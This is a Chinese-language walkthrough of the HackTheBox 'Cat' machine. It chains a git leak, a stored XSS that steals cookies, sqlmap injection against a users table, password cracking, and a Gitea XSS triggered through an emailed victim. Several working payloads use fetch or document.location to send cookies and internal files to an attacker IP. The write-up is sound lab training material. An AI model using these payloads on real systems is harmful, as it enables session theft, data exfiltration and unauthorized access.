HTB-cat 信息收集 22 80端口开放 然后将cat.htb添加到/etc/hosts中 扫描后台 发现git泄露
将git泄露的代码拉下来审计 发现一个xss的
username和email未经过验证就被写进数据库中,这里能写入存储型的xss
获取cookie:
1 <script>document .location ='http://10.10.14.68:8888/?c=' +document .cookie ;</script>
我们虽然写进去了,但是仍然需要找一个地方来触发。
在上传文件的这个地方,当我们满足上传的条件的时候,它就会再次调用我们注册的用户,即那个恶意的xss代码。
首先注册一个用户 上面的payload是用户名 然后登录进去,随便上传一个图片,进行监听即可。
漏洞利用 当我们弹到cookie的时候(更换身份),我们就可以利用sql注入漏洞。
1 2 3 4 $cat_name = $_POST ['catName' ]; $catId = $_POST ['catId' ]; $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name ')" ; $pdo ->exec ($sql_insert );
$cat_name是可以控制的,利用sqlmap跑即可。
将其转成txt文件 然后放到sqlmap中跑。
1 sqlmap -r '/home/fsrm/Desktop/cat.txt' --level =5 --tables --dump --risk =3 --dbms =sqlite --threads =10 -p "catName"
1 sqlmap -r '/home/fsrm/Desktop/cat.txt' --level =5 --dump --risk =3 --dbms =sqlite --threads =10 -p "catName" -T "users"
对rosa的密码进行破解 能得到md5加密之前的。
https://crackstation.net/
然后ssh登录上去看看。
在日志文件里面发现了axel的登录密码。
再次ssh登录上去。里面存放着user.txt
提权 在var/mail下发现一个邮件 查看一下发现是一个内网的服务 端口是3000 转发一下。
是一个Gitea版本信息是1.22.0 网上搜一下 发现一个xss
https://www.exploit-db.com/exploits/52077
利用axel的账号密码能登录进去
1 2 3 4 5 6 7 漏洞利用: 1.首先创建一个新的仓库或者修改现有仓库 2.在仓库描述那个地方添加xss的payload //<a href =javascript:alert() > XSS test</a > 3.保存项目 然后点击项目的描述 就会触发xss
1 <a href ="javascript:fetch('http://10.10.14.68:1234/?d='+encodeURIComponent(btoa(document.cookie)));" > XSS test</a >
注意前面的邮件中 有一个很重要的地方。
1 2 We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
就是需要将我们创建的仓库通过邮箱发送给jobert 让jobert来触发这个xss 而不是我们手动去触发
发送邮件:
1 echo - e "Subject: Test Email\n \n Hello,repo http://localhost:3000/axel/test" | sendmail jobert@cat .htb
注意创建的仓库需要传一个文件。
然后就是一个获取md文件的payload
1 <a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md" ).then (response=>response.text() ).then (data=>fetch("http://10.10.14.68:1234/?d=" +encodeURIComponent(btoa (unescape (encodeURIComponent (data ) )))));'>XSS test</a>
解码后的内容:
1 2 # Employee Management Site under construction. Authorized user : admin . No visibility or updates visible to employees.
没啥用 知知道用户名不知道密码,看看除了md文件之外是否还有其他文件的存在,先试试index.php
1 <a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php" ).then (response=>response.text() ).then (data=>fetch("http://10.10.14.68:1234/?d=" +encodeURIComponent(btoa (unescape (encodeURIComponent (data ) )))));'>XSS test</a>
还真有东西。
解码之后是admin的密码。
再次尝试登录发现不对,猜测可能是root的密码 su看一下,提权成功。
总结 首先通过git泄露查看代码进行审计,找到一个sql注入的地方,但前提需要axel身份,用到这个身份就需要通过存储型xss获取cookie,通过文件上传触发xss,然后利用sqlmap将users表中的数据爆破出来,逐个破解得到rosa的密码,ssh登录进去,在日志文件的地方找到axel的ssh密码,然后再次登录,通过邮件信息知道存在内网,端口映射出来,查找是一个xss,这里需要注意的是不要自己手动触发xss,而是需要发送邮件,让另外一个用户去触发,从而获取到未授权的文件内容,读取md文件无果,查看是否存在其他文件,得到index.php,然后得到root的密码,最后提权即可。